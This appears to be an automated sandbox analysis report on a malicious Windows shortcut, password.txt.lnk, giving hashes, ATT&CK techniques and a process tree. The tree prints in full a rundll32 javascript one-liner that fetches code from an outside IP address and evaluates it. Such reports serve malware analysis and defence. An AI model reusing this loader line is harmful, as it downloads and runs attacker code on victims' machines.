443f05d26f6c05ad62a45b0fc5fe620e006702cff3b28606fcfc08fffd762a40

Analysis

max time kernel
143s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
04/10/2023, 18:55

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General

Target

password.txt.lnk
Size

2KB
MD5

606e4190bb7ccc8cd7a07abd0ea80508
SHA1

e4ea5d93133016d0e8b454e3449b1f89c6a377eb
SHA256

443f05d26f6c05ad62a45b0fc5fe620e006702cff3b28606fcfc08fffd762a40
SHA512

a9102e9bc1cf6155f59969eb85de86b24d37024e3bdfb9490c7689f28ee387cfc5199cc5eac81f167e7348523166f5ff7a3d9cb72cf83639ec9c3f156140f535

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	3796	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 1120	1896	cmd.exe	86
PID 1896 wrote to memory of 1120	1896	cmd.exe	86
PID 1120 wrote to memory of 3796	1120	cmd.exe	87
PID 1120 wrote to memory of 3796	1120	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\password.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B rundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\System32\rundll32.exe
    rundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();
    3⤵
    - Blocklisted process makes network request
    PID:3796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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